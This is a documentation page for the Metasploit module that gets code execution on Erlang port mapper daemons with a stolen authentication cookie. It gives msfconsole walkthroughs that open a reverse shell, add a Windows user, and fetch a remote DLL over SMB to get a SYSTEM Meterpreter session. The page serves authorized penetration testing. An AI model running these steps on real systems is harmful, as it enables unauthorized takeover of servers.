Erlang Port Mapper Daemon Cookie RCE - Metasploit

This page contains detailed information about how to use the exploit/multi/misc/erlang_cookie_rce metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview

Name: Erlang Port Mapper Daemon Cookie RCE
Module: exploit/multi/misc/erlang_cookie_rce
Source code: modules/exploits/multi/misc/erlang_cookie_rce.rb
Disclosure date: 2009-11-20
Last modification time: 2021-09-04 14:34:05 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): 25672
List of CVEs: -

The erlang port mapper daemon is used to coordinate distributed erlang instances. Should an attacker get the authentication cookie RCE is trivial. Usually, this cookie is named ".erlang.cookie" and varies on location.

Module Ranking and Traits

Module Ranking:

great: The exploit has a default target AND either auto-detects the appropriate target or uses an application-specific return address AFTER a version check. More information about ranking can be found here.

Basic Usage

msf > use exploit/multi/misc/erlang_cookie_rce
msf exploit(erlang_cookie_rce) > exploit

Required Options

RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
COOKIE: Erlang cookie to login with

Knowledge Base

Vulnerable Application

The Erlang Port Mapper Daemon is used to coordinate distributed erlang instances. Should an attacker get the authentication cookie code execution is trivial. Normally this cookie can be found in the home directory as ".erlang.cookie", however it varies system to system as well as its configuration. As an example on a Windows 10 instance it can be found under the users home directory: e.g C:\Users\<USER>\.erlang.cookie. Code execution is achieved via the os:cmd('cmd'). command

Verification Steps

Install the Erlang Port Mapper Daemon
Install RabbitMQ
Start msfconsole
Do use exploit/multi/misc/erlang_cookie_rce
Do set RHOST <ip>
Do set COOKIE <cookie>
Do set TARGET <target>
Do set LHOST <host>
exploit and verify shell is opened (if on windows login)

Scenarios

Ubuntu 16.04.5 LTS

msf exploit(multi/misc/erlang_cookie_rce) > options 

Module options (exploit/multi/misc/erlang_cookie_rce):

   Name    Current Setting       Required  Description
   ----    ---------------       --------  -----------
   COOKIE  EXAMPLE               yes       Erlang cookie to login with
   RHOST   A.B.C.D               yes       The target address
   RPORT   25672                 yes       The target port (TCP)


Payload options (cmd/unix/reverse):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  W.X.Y.Z          yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Unix


msf exploit(multi/misc/erlang_cookie_rce) > exploit

[*] Started reverse TCP double handler on W.X.Y.Z:4444 
[*] A.B.C.D:25672 - Receiving server challenge
[*] A.B.C.D:25672 - Sending challenge reply
[+] A.B.C.D:25672 - Authentication successful, sending payload
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo XinIWxzXWDO5x9EM;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "XinIWxzXWDO5x9EM\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (W.X.Y.Z:4444 -> A.B.C.D:46410) at 2018-12-09 14:45:47 -0600

id
uid=122(rabbitmq) gid=130(rabbitmq) groups=130(rabbitmq)

Windows 10 (Build 17134)

First we want to exploit the host, as an example adding a new user. (Payload is executed over cmd.exe)

msf exploit(multi/misc/erlang_cookie_rce) > options 

Module options (exploit/multi/misc/erlang_cookie_rce):

   Name    Current Setting       Required  Description
   ----    ---------------       --------  -----------
   COOKIE  EXAMPLE               yes       Erlang cookie to login with
   RHOST   A.B.C.D               yes       The target address
   RPORT   25672                 yes       The target port (TCP)


Payload options (cmd/windows/adduser):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   CUSTOM                   no        Custom group name to be used instead of default
   PASS    Wetw0rkHax0r$1   yes       The password for this user
   USER    wetw0rk          yes       The username to create
   WMIC    false            yes       Use WMIC on the target to resolve administrators group


Exploit target:

   Id  Name
   --  ----
   1   Windows


msf exploit(multi/misc/erlang_cookie_rce) > exploit

[*] A.B.C.D:25672 - Receiving server challenge
[*] A.B.C.D:25672 - Sending challenge reply
[+] A.B.C.D:25672 - Authentication successful, sending payload
[*] Exploit completed, but no session was created.

Once exploitation is complete the tester can authenticate. Another method that can be used is SMB as shown below.

exploit.rc ->

use exploit/windows/smb/smb_delivery
set SHARE MSF
set TARGET 0
exploit -j
use exploit/multi/misc/erlang_cookie_rce
set COOKIE EXAMPLE
set TARGET 1
set RHOST A.B.C.D
set PAYLOAD cmd/windows/generic
set CMD "rundll32.exe \\\\W.X.Y.Z\MSF\test.dll,0"
exploit -j

msf > resource exploit.rc
[*] Processing /root/exploit.rc for ERB directives.
[*] Exploit running as background job 0.
[*] Started reverse TCP handler on W.X.Y.Z:4444 
[*] Started service listener on W.X.Y.Z:445 
[*] Server started.
[*] Run the following command on the target machine: rundll32.exe \\W.X.Y.Z\MSF\test.dll,0
[*] Exploit running as background job 1.
[*] A.B.C.D:25672 - Receiving server challenge
[*] A.B.C.D:25672 - Sending challenge reply
[+] A.B.C.D:25672 - Authentication successful, sending payload
[*] Sending stage (179779 bytes) to A.B.C.D
[*] Meterpreter session 1 opened (W.X.Y.Z:4444 -> A.B.C.D:51856) at 2018-12-18 14:45:02 -0600
[*] Exploit completed, but no session was created.
msf exploit(multi/misc/erlang_cookie_rce) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Go back to menu.

Msfconsole Usage

Here is how the multi/misc/erlang_cookie_rce exploit module looks in the msfconsole:

msf6 > use exploit/multi/misc/erlang_cookie_rce

[*] Using configured payload cmd/unix/reverse
msf6 exploit(multi/misc/erlang_cookie_rce) > show info

       Name: Erlang Port Mapper Daemon Cookie RCE
     Module: exploit/multi/misc/erlang_cookie_rce
   Platform: 
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2009-11-20

Provided by:
  Daniel Mende
  Milton Valencia (wetw0rk)

Available targets:
  Id  Name
  --  ----
  0   Unix
  1   Linux (CmdStager)
  2   Windows
  3   Windows (CmdStager)

Check supported:
  No

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  COOKIE                    yes       Erlang cookie to login with
  RHOSTS                    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT    25672            yes       The target port (TCP)
  SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
  SRVPORT  8080             yes       The local port to listen on.
  SSL      false            no        Negotiate SSL for incoming connections
  SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
  URIPATH                   no        The URI to use for this exploit (default is random)

Payload information:

Description:
  The erlang port mapper daemon is used to coordinate distributed 
  erlang instances. Should an attacker get the authentication cookie 
  RCE is trivial. Usually, this cookie is named ".erlang.cookie" and 
  varies on location.

References:
  https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/

Module Options

This is a complete list of options available in the multi/misc/erlang_cookie_rce exploit:

msf6 exploit(multi/misc/erlang_cookie_rce) > show options

Module options (exploit/multi/misc/erlang_cookie_rce):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   COOKIE                    yes       Erlang cookie to login with
   RHOSTS                    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT    25672            yes       The target port (TCP)
   SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT  8080             yes       The local port to listen on.
   SSL      false            no        Negotiate SSL for incoming connections
   SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                   no        The URI to use for this exploit (default is random)

Payload options (cmd/unix/reverse):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Unix

Advanced Options

Here is a complete list of advanced options supported by the multi/misc/erlang_cookie_rce exploit:

msf6 exploit(multi/misc/erlang_cookie_rce) > show advanced

Module advanced options (exploit/multi/misc/erlang_cookie_rce):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   CHOST                                    no        The local client address
   CMDSTAGER::DECODER                       no        The decoder stub to use.
   CMDSTAGER::FLAVOR       auto             no        The CMD Stager to use. (Accepted: auto, printf, echo, bourne, certutil, vbs)
   CMDSTAGER::SSL          false            no        Use SSL/TLS for supported stagers
   CMDSTAGER::TEMP                          no        Writable directory for staged files
   CPORT                                    no        The local client port
   ConnectTimeout          10               yes       Maximum number of seconds to establish a TCP connection
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   EXE::Custom                              no        Use custom exe instead of automatically generating a payload exe
   EXE::EICAR              false            no        Generate an EICAR file instead of regular payload exe
   EXE::FallBack           false            no        Use the default template in case the specified one is missing
   EXE::Inject             false            no        Set to preserve the original EXE function
   EXE::OldMethod          false            no        Set to use the substitution EXE generation method.
   EXE::Path                                no        The directory in which to look for the executable template
   EXE::Template                            no        The executable template file name.
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   ListenerComm                             no        The specific communication channel to use for this service
   MSI::Custom                              no        Use custom msi instead of automatically generating a payload msi
   MSI::EICAR              false            no        Generate an EICAR file instead of regular payload msi
   MSI::Path                                no        The directory in which to look for the msi template
   MSI::Template                            no        The msi template file name
   MSI::UAC                false            no        Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
   Proxies                                  no        A proxy chain of format type:host:port[,type:host:port][...]
   SSLCipher                                no        String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
   SSLCompression          false            no        Enable SSL/TLS-level compression
   SSLVerifyMode           PEER             no        SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
   SSLVersion              Auto             yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   SendRobots              false            no        Return a robots.txt file if asked for one
   URIHOST                                  no        Host to use in URI (useful for tunnels)
   URIPORT                                  no        Port to use in URI (useful for tunnels)
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module
   WfsDelay                2                no        Additional delay in seconds to wait for a session

Payload advanced options (cmd/unix/reverse):

   Name                        Current Setting  Required  Description
   ----                        ---------------  --------  -----------
   AutoRunScript                                no        A script to run automatically on session creation.
   AutoVerifySession           true             yes       Automatically verify and drop invalid sessions
   CommandShellCleanupCommand                   no        A command to run before the session is closed
   CreateSession               true             no        Create a new session for every successful login
   InitialAutoRunScript                         no        An initial script to run on session creation (before AutoRunScript)
   ReverseAllowProxy           false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindPort                      no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                          no        The specific communication channel to use for this listener
   VERBOSE                     false            no        Enable detailed status messages
   WORKSPACE                                    no        Specify the workspace for this module

Exploit Targets

Here is a list of targets (platforms and systems) which the multi/misc/erlang_cookie_rce module can exploit:

msf6 exploit(multi/misc/erlang_cookie_rce) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Unix
   1   Linux (CmdStager)
   2   Windows
   3   Windows (CmdStager)

Compatible Payloads

This is a list of possible payloads which can be delivered and executed on the target system using the multi/misc/erlang_cookie_rce exploit:

msf6 exploit(multi/misc/erlang_cookie_rce) > show payloads

Compatible Payloads
===================

   #   Name                                        Disclosure Date  Rank    Check  Description
   -   ----                                        ---------------  ----    -----  -----------
   0   payload/cmd/unix/bind_awk                                    normal  No     Unix Command Shell, Bind TCP (via AWK)
   1   payload/cmd/unix/bind_busybox_telnetd                        normal  No     Unix Command Shell, Bind TCP (via BusyBox telnetd)
   2   payload/cmd/unix/bind_inetd                                  normal  No     Unix Command Shell, Bind TCP (inetd)
   3   payload/cmd/unix/bind_jjs                                    normal  No     Unix Command Shell, Bind TCP (via jjs)
   4   payload/cmd/unix/bind_lua                                    normal  No     Unix Command Shell, Bind TCP (via Lua)
   5   payload/cmd/unix/bind_netcat                                 normal  No     Unix Command Shell, Bind TCP (via netcat)
   6   payload/cmd/unix/bind_netcat_gaping                          normal  No     Unix Command Shell, Bind TCP (via netcat -e)
   7   payload/cmd/unix/bind_netcat_gaping_ipv6                     normal  No     Unix Command Shell, Bind TCP (via netcat -e) IPv6
   8   payload/cmd/unix/bind_nodejs                                 normal  No     Unix Command Shell, Bind TCP (via nodejs)
   9   payload/cmd/unix/bind_perl                                   normal  No     Unix Command Shell, Bind TCP (via Perl)
   10  payload/cmd/unix/bind_perl_ipv6                              normal  No     Unix Command Shell, Bind TCP (via perl) IPv6
   11  payload/cmd/unix/bind_r                                      normal  No     Unix Command Shell, Bind TCP (via R)
   12  payload/cmd/unix/bind_ruby                                   normal  No     Unix Command Shell, Bind TCP (via Ruby)
   13  payload/cmd/unix/bind_ruby_ipv6                              normal  No     Unix Command Shell, Bind TCP (via Ruby) IPv6
   14  payload/cmd/unix/bind_socat_udp                              normal  No     Unix Command Shell, Bind UDP (via socat)
   15  payload/cmd/unix/bind_stub                                   normal  No     Unix Command Shell, Bind TCP (stub)
   16  payload/cmd/unix/bind_zsh                                    normal  No     Unix Command Shell, Bind TCP (via Zsh)
   17  payload/cmd/unix/generic                                     normal  No     Unix Command, Generic Command Execution
   18  payload/cmd/unix/pingback_bind                               normal  No     Unix Command Shell, Pingback Bind TCP (via netcat)
   19  payload/cmd/unix/pingback_reverse                            normal  No     Unix Command Shell, Pingback Reverse TCP (via netcat)
   20  payload/cmd/unix/reverse                                     normal  No     Unix Command Shell, Double Reverse TCP (telnet)
   21  payload/cmd/unix/reverse_awk                                 normal  No     Unix Command Shell, Reverse TCP (via AWK)
   22  payload/cmd/unix/reverse_bash                                normal  No     Unix Command Shell, Reverse TCP (/dev/tcp)
   23  payload/cmd/unix/reverse_bash_telnet_ssl                     normal  No     Unix Command Shell, Reverse TCP SSL (telnet)
   24  payload/cmd/unix/reverse_bash_udp                            normal  No     Unix Command Shell, Reverse UDP (/dev/udp)
   25  payload/cmd/unix/reverse_jjs                                 normal  No     Unix Command Shell, Reverse TCP (via jjs)
   26  payload/cmd/unix/reverse_ksh                                 normal  No     Unix Command Shell, Reverse TCP (via Ksh)
   27  payload/cmd/unix/reverse_lua                                 normal  No     Unix Command Shell, Reverse TCP (via Lua)
   28  payload/cmd/unix/reverse_ncat_ssl                            normal  No     Unix Command Shell, Reverse TCP (via ncat)
   29  payload/cmd/unix/reverse_netcat                              normal  No     Unix Command Shell, Reverse TCP (via netcat)
   30  payload/cmd/unix/reverse_netcat_gaping                       normal  No     Unix Command Shell, Reverse TCP (via netcat -e)
   31  payload/cmd/unix/reverse_nodejs                              normal  No     Unix Command Shell, Reverse TCP (via nodejs)
   32  payload/cmd/unix/reverse_openssl                             normal  No     Unix Command Shell, Double Reverse TCP SSL (openssl)
   33  payload/cmd/unix/reverse_perl                                normal  No     Unix Command Shell, Reverse TCP (via Perl)
   34  payload/cmd/unix/reverse_perl_ssl                            normal  No     Unix Command Shell, Reverse TCP SSL (via perl)
   35  payload/cmd/unix/reverse_php_ssl                             normal  No     Unix Command Shell, Reverse TCP SSL (via php)
   36  payload/cmd/unix/reverse_python                              normal  No     Unix Command Shell, Reverse TCP (via Python)
   37  payload/cmd/unix/reverse_python_ssl                          normal  No     Unix Command Shell, Reverse TCP SSL (via python)
   38  payload/cmd/unix/reverse_r                                   normal  No     Unix Command Shell, Reverse TCP (via R)
   39  payload/cmd/unix/reverse_ruby                                normal  No     Unix Command Shell, Reverse TCP (via Ruby)
   40  payload/cmd/unix/reverse_ruby_ssl                            normal  No     Unix Command Shell, Reverse TCP SSL (via Ruby)
   41  payload/cmd/unix/reverse_socat_udp                           normal  No     Unix Command Shell, Reverse UDP (via socat)
   42  payload/cmd/unix/reverse_ssh                                 normal  No     Unix Command Shell, Reverse TCP SSH
   43  payload/cmd/unix/reverse_ssl_double_telnet                   normal  No     Unix Command Shell, Double Reverse TCP SSL (telnet)
   44  payload/cmd/unix/reverse_stub                                normal  No     Unix Command Shell, Reverse TCP (stub)
   45  payload/cmd/unix/reverse_tclsh                               normal  No     Unix Command Shell, Reverse TCP (via Tclsh)
   46  payload/cmd/unix/reverse_zsh                                 normal  No     Unix Command Shell, Reverse TCP (via Zsh)
   47  payload/generic/custom                                       normal  No     Custom Payload
   48  payload/generic/shell_bind_tcp                               normal  No     Generic Command Shell, Bind TCP Inline
   49  payload/generic/shell_reverse_tcp                            normal  No     Generic Command Shell, Reverse TCP Inline

Evasion Options

Here is the full list of possible evasion options supported by the multi/misc/erlang_cookie_rce exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(multi/misc/erlang_cookie_rce) > show evasion

Module evasion options:

   Name                  Current Setting  Required  Description
   ----                  ---------------  --------  -----------
   HTTP::chunked         false            no        Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
   HTTP::compression     none             no        Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
   HTTP::header_folding  false            no        Enable folding of HTTP headers
   HTTP::junk_headers    false            no        Enable insertion of random junk HTTP headers
   HTTP::no_cache        false            no        Disallow the browser to cache HTTP content
   HTTP::server_name     Apache           yes       Configures the Server header of all outgoing replies
   TCP::max_send_size    0                no        Maximum tcp segment size.  (0 = disable)
   TCP::send_delay       0                no        Delays inserted before every send.  (0 = disable)

Go back to menu.

Error Messages

This module may fail with the following error messages:

Error Messages

Authentication Failed:<COOKIE>

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Here is a relevant code snippet related to the "Authentication Failed:<COOKIE>" error message:

170:	
171:	    print_status("Sending challenge reply")
172:	    sock.put(send_challenge_reply)
173:	
174:	    if sock.get.length < 1
175:	      fail_with(Failure::UnexpectedReply, "Authentication Failed:#{datastore['COOKIE']}")
176:	    end
177:	
178:	    print_good("Authentication successful, sending payload")
179:	
180:	    print_status('Exploiting...')

Go back to menu.

References

Authors

Daniel Mende
Milton Valencia (wetw0rk)

Version

This page has been produced using Metasploit Framework version 6.2.26-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.

Erlang Port Mapper Daemon Cookie RCE - Metasploit

Module Overview

Module Ranking and Traits

Basic Usage

Required Options

Knowledge Base

Vulnerable Application

Verification Steps

Scenarios

Ubuntu 16.04.5 LTS

Windows 10 (Build 17134)

Msfconsole Usage

Module Options

Advanced Options

Exploit Targets

Compatible Payloads

Evasion Options

Error Messages

References

See Also

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Erlang Port Mapper Daemon Cookie RCE - Metasploit

Module Overview

Module Ranking and Traits

Basic Usage

Required Options

Knowledge Base

Vulnerable Application

Verification Steps

Scenarios

Ubuntu 16.04.5 LTS

Windows 10 (Build 17134)

Msfconsole Usage

Module Options

Advanced Options

Exploit Targets

Compatible Payloads

Evasion Options

Error Messages

Authentication Failed:<COOKIE>

Related Pull Requests

References

See Also

Authors

Version